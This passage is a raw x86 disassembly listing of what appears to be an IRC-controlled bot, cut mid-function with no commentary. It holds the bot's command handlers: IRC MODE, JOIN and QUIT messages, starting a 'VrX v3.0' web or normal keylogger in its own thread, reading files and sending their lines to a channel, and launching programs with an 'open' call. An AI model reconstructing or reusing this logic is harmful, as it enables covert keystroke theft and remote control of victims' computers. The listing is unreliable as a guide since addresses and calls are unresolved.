		mov	[ebp+var_2228],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23B0],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2224],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A33C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_222C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23B0]
		push	ebx
		push	eax
		push	offset byte_414703
		push	ebx
		push	ebx
		call	near ptr 26A04CCh
		nop
		mov	ecx, [ebp+var_222C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40883F


loc_40882D:				; CODE XREF: sub_401ACD+6D70j
		cmp	[ebp+var_2220],	ebx
		jnz	short loc_40885A
		push	32h
		call	near ptr 26A0475h
		nop
		jmp	short loc_40882D
; ---------------------------------------------------------------------------


loc_40883F:				; CODE XREF: sub_401ACD+6D5Ej
		call	near ptr 26A0CACh
		nop
		push	eax
		push	offset dword_42A300


loc_40884B:				; CODE XREF: sub_401ACD+6CADj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40885A:				; CODE XREF: sub_401ACD+6C91j
					; sub_401ACD+6D66j
		cmp	[ebp+var_8], ebx
		jnz	loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_403FB6
; ---------------------------------------------------------------------------


loc_40887A:				; CODE XREF: sub_401ACD+48BDj
					; sub_401ACD+48D4j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2F8
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h


loc_408897:				; CODE XREF: sub_401ACD+6E31j
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644


loc_4088B1:				; CODE XREF: sub_401ACD+789Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2F0
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409823
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_4088DA:				; CODE XREF: sub_401ACD+488Fj
					; sub_401ACD+48A6j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		push	offset dword_42A2E4
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 14h
		jmp	short loc_408897
; ---------------------------------------------------------------------------


loc_408900:				; CODE XREF: sub_401ACD+4861j
					; sub_401ACD+4878j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2F0
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_42A2C8


loc_408967:				; CODE XREF: sub_401ACD+6F24j
					; sub_401ACD+6F92j ...
		call	sub_415DAC
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_408971:				; CODE XREF: sub_401ACD+4833j
					; sub_401ACD+484Aj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4089A2
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2C0
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4089A2:				; CODE XREF: sub_401ACD+6EBEj
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2F0
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A2A4
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_4089F6:				; CODE XREF: sub_401ACD+4805j
					; sub_401ACD+481Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	esi
		push	offset dword_42A2F0
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A288
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408A64:				; CODE XREF: sub_401ACD+47D7j
					; sub_401ACD+47EEj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_42A260
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_408A9E:				; CODE XREF: sub_401ACD+47A9j
					; sub_401ACD+47C0j
		push	[ebp+var_8C]
		push	offset dword_42CCD0
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	offset dword_42A254
		push	[ebp+arg_4]
		call	sub_409823
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	near ptr 26A0475h
		nop
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset dword_42A240
		call	sub_415D38
		jmp	loc_4034BF
; ---------------------------------------------------------------------------


loc_408B04:				; CODE XREF: sub_401ACD+477Bj
					; sub_401ACD+4792j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A970
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		push	esi
		push	edi
		push	offset unk_42A224
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408B6D:				; CODE XREF: sub_401ACD+474Dj
					; sub_401ACD+4764j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		push	esi
		push	edi
		push	offset unk_42A208
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408BBE:				; CODE XREF: sub_401ACD+471Fj
					; sub_401ACD+4736j
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		push	eax
		push	edi
		call	sub_415C40
		pop	ecx
		pop	ecx
		push	edi
		push	offset unk_42A1EC
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_408BF0:				; CODE XREF: sub_401ACD+46F1j
					; sub_401ACD+4708j
		push	[ebp+arg_18]
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418A2E


loc_408C05:				; CODE XREF: sub_401ACD+25ECj
		add	esp, 14h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408C0D:				; CODE XREF: sub_401ACD+46B1j
					; sub_401ACD+46C8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409644
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408CB1
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408C99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A438
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	edi
		push	offset unk_42A1C8
		push	eax
		call	sub_41C266
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408C99:				; CODE XREF: sub_401ACD+7171j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A198
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CB1:				; CODE XREF: sub_401ACD+715Cj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A180
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CFB:				; CODE XREF: sub_401ACD+4434j
					; sub_401ACD+444Bj
		push	edi
		push	23h
		push	offset aKeylog_0 ; "Keylog"
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."


loc_408D08:				; CODE XREF: sub_401ACD+103Cj
					; sub_401ACD+108Fj ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B648
		add	esp, 20h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408D24:				; CODE XREF: sub_401ACD+4406j
					; sub_401ACD+441Dj
		push	23h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_408D3A
		push	offset aKeylogerAlread ; "Keyloger Already running."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408D3A:				; CODE XREF: sub_401ACD+7261j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		push	offset aWeb	; "web"
		mov	[ebp+var_A08], eax
		mov	[ebp+var_A10], ebx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DB9
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_A10], 1
		cmp	esi, ebx
		jnz	short loc_408D9D
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB98
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D9D
		mov	esi, [ebp+var_88]


loc_408D9D:				; CODE XREF: sub_401ACD+72B2j
					; sub_401ACD+72C8j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
		jmp	short loc_408E0F
; ---------------------------------------------------------------------------


loc_408DB9:				; CODE XREF: sub_401ACD+729Dj
		push	edi
		push	offset aNormal_0 ; "normal"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408E97
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_408DF5
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB98
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DF5
		mov	esi, [ebp+var_88]


loc_408DF5:				; CODE XREF: sub_401ACD+730Aj
					; sub_401ACD+7320j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aNormalKeyLogge ; "Normal key logger active."


loc_408E0F:				; CODE XREF: sub_401ACD+72EAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	ebx
		push	23h
		push	eax
		call	sub_40B3BA
		add	esp, 0Ch
		mov	[ebp+var_A94], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset byte_4126A7
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_A94]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_408E7A


loc_408E64:				; CODE XREF: sub_401ACD+73ABj
		cmp	[ebp+var_A04], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_408E64
; ---------------------------------------------------------------------------


loc_408E7A:				; CODE XREF: sub_401ACD+7395j
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset aFailedToStartL ; "Failed to start logging thread, error: "...


loc_408E86:				; CODE XREF: sub_401ACD+20F8j
					; sub_401ACD+2E94j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_408E97:				; CODE XREF: sub_401ACD+72FBj
		push	offset aUnknowModeType ; "Unknow mode type."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408EA1:				; CODE XREF: sub_401ACD+4065j
					; sub_401ACD+407Cj
		push	offset aR	; "r"
		push	edi
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408F0D
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 0Ch


loc_408ECA:				; CODE XREF: sub_401ACD+742Cj
		test	eax, eax
		jz	short loc_408EFB
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 20h
		jmp	short loc_408ECA
; ---------------------------------------------------------------------------


loc_408EFB:				; CODE XREF: sub_401ACD+73FFj
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	edi
		push	offset unk_42A0AC
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_408F0D:				; CODE XREF: sub_401ACD+73E5j
		push	edi
		push	offset unk_42A08C
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408F18:				; CODE XREF: sub_401ACD+4037j
					; sub_401ACD+404Ej
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	offset asc_42A088 ; "\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_419F9D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408F55
		push	offset unk_42A05C
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F55:				; CODE XREF: sub_401ACD+747Fj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A044
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408F6F:				; CODE XREF: sub_401ACD+4009j
					; sub_401ACD+4020j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		call	sub_41875E
		test	eax, eax
		pop	ecx
		jnz	short loc_408F9D
		push	offset unk_42A024
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F9D:				; CODE XREF: sub_401ACD+74C7j
		push	offset dword_42A008


loc_408FA2:				; CODE XREF: sub_401ACD+7486j
					; sub_401ACD+74CEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408678
; ---------------------------------------------------------------------------


loc_408FB5:				; CODE XREF: sub_401ACD+3FDBj
					; sub_401ACD+3FF2j
		push	7Fh
		lea	eax, [ebp+var_2084]
		push	edi
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_408FE4
		push	7Fh
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_408FE4:				; CODE XREF: sub_401ACD+7503j
		push	7Fh
		lea	eax, [ebp+var_1F84]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2088],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F00],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EFC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FF0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_1F04],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2088]
		push	ebx
		push	eax
		push	offset sub_41B302
		push	ebx
		push	ebx
		call	near ptr 26A04CCh
		nop
		mov	ecx, [ebp+var_1F04]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_409085


loc_40906F:				; CODE XREF: sub_401ACD+75B6j
		cmp	[ebp+var_1EF8],	ebx
		jnz	loc_406C1F
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_40906F
; ---------------------------------------------------------------------------


loc_409085:				; CODE XREF: sub_401ACD+75A0j
		call	near ptr 26A0CACh
		nop
		push	eax
		push	offset unk_429FB0


loc_409091:				; CODE XREF: sub_401ACD+298Bj
					; sub_401ACD+743Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+3FADj
					; sub_401ACD+3FC4j
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	edi
		call	sub_41036B
		add	esp, 10h
		push	edi
		push	offset dword_429F98
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_4090C3:				; CODE XREF: sub_401ACD+3F7Fj
					; sub_401ACD+3F96j
		push	14h
		lea	eax, [ebp+var_1D4C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1D38]
		push	edi
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D54],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C34]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BAC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA8],	eax
		lea	eax, [ebp+var_1C34]
		push	eax
		lea	eax, [ebp+var_1D38]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F74
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_1BB0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D54]
		push	ebx
		push	eax
		push	offset loc_4161C1
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_1BB0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	loc_4023CA


loc_40918A:				; CODE XREF: sub_401ACD+76D1j
		cmp	[ebp+var_1BA4],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_40918A
; ---------------------------------------------------------------------------


loc_4091A0:				; CODE XREF: sub_401ACD+3F51j
					; sub_401ACD+3F68j
		push	edi
		nop
		call	near ptr 26A06ADh
		test	eax, eax
		jz	short loc_4091C7
		push	edi
		push	offset dword_429F58
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_40929A
; ---------------------------------------------------------------------------


loc_4091C7:				; CODE XREF: sub_401ACD+76DCj
		push	offset dword_42A5B0
		call	sub_418699
		pop	ecx
		push	eax
		jmp	loc_403EED
; ---------------------------------------------------------------------------


loc_4091D8:				; CODE XREF: sub_401ACD+3F23j
					; sub_401ACD+3F3Aj
		push	edi
		call	sub_41C159
		push	eax
		call	sub_419F16
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_4091F5
		push	offset unk_429F34
		jmp	short loc_4091FA
; ---------------------------------------------------------------------------


loc_4091F5:				; CODE XREF: sub_401ACD+771Fj
		push	offset unk_429F04


loc_4091FA:				; CODE XREF: sub_401ACD+7726j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406C22
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_409233:				; CODE XREF: sub_401ACD+3EF5j
					; sub_401ACD+3F0Cj
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_419C09
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_409255
		push	offset unk_429EE4
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409255:				; CODE XREF: sub_401ACD+777Cj
		push	offset unk_429EB4
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40925F:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDEj
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_4092A2
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB99C
		cmp	eax, ebx
		jz	short loc_4092BD
		push	dword ptr [eax]


loc_409288:				; CODE XREF: sub_401ACD+77EEj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429E94
		push	eax
		call	sub_41C266


loc_40929A:				; CODE XREF: sub_401ACD+76F5j
		add	esp, 10h
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_4092A2:				; CODE XREF: sub_401ACD+77A2j
		push	edi
		call	dword_4CBA68
		cmp	eax, ebx
		jz	short loc_4092BD
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CBA70
		push	eax
		jmp	short loc_409288
; ---------------------------------------------------------------------------


loc_4092BD:				; CODE XREF: sub_401ACD+77B7j
					; sub_401ACD+77DEj
		push	offset unk_429E6C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_4092C7:				; CODE XREF: sub_401ACD+3E99j
					; sub_401ACD+3EB0j
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_41BFD0
		add	esp, 0Ch
		push	edi
		push	offset unk_429E48
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4092E0:				; CODE XREF: sub_401ACD+3E6Bj
					; sub_401ACD+3E82j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB950
		test	eax, eax
		push	edi
		jz	short loc_409300
		push	offset unk_429E28
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409300:				; CODE XREF: sub_401ACD+7827j
		push	offset unk_429E04
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40930A:				; CODE XREF: sub_401ACD+3E3Dj
					; sub_401ACD+3E54j
		mov	al, [edi]
		mov	byte_429094, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset unk_429DE0
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_40931F:				; CODE XREF: sub_401ACD+3E0Fj
					; sub_401ACD+3E26j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_4088B1
; ---------------------------------------------------------------------------


loc_40936D:				; CODE XREF: sub_401ACD+3DE1j
					; sub_401ACD+3DF8j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_401F75
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_401F75
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409823
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 26A0475h
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	dword_4CBA7C
		push	[ebp+var_10]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E934[eax]
		nop
		call	near ptr 26B0CA1h
		push	edi
		call	sub_41C159
		imul	eax, 234h
		push	edi
		mov	dword_43E934[eax], ebx
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E720[eax], bl
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409418:				; CODE XREF: sub_401ACD+3DB3j
					; sub_401ACD+3DCAj
		push	edi
		push	offset aAll	; "all"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409447
		call	sub_40B583
		cmp	eax, ebx
		jle	short loc_40943D
		push	eax
		push	offset unk_429DB4
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_40943D:				; CODE XREF: sub_401ACD+7963j
		push	offset unk_429D8C
		jmp	loc_403F8F
; ---------------------------------------------------------------------------


loc_409447:				; CODE XREF: sub_401ACD+795Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401F75
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_409463:				; CODE XREF: sub_401ACD+7A07j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401F75
		push	esi
		call	sub_41C159
		push	eax
		call	sub_40B4F5
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40948A
		push	offset unk_429D68
		jmp	short loc_40948F
; ---------------------------------------------------------------------------


loc_40948A:				; CODE XREF: sub_401ACD+79B4j
		push	offset unk_429D3C


loc_40948F:				; CODE XREF: sub_401ACD+79BBj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4094BF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4094BF:				; CODE XREF: sub_401ACD+79D4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_409463
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4094DB:				; CODE XREF: sub_401ACD+3D85j
					; sub_401ACD+3D9Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset dword_42A2F0
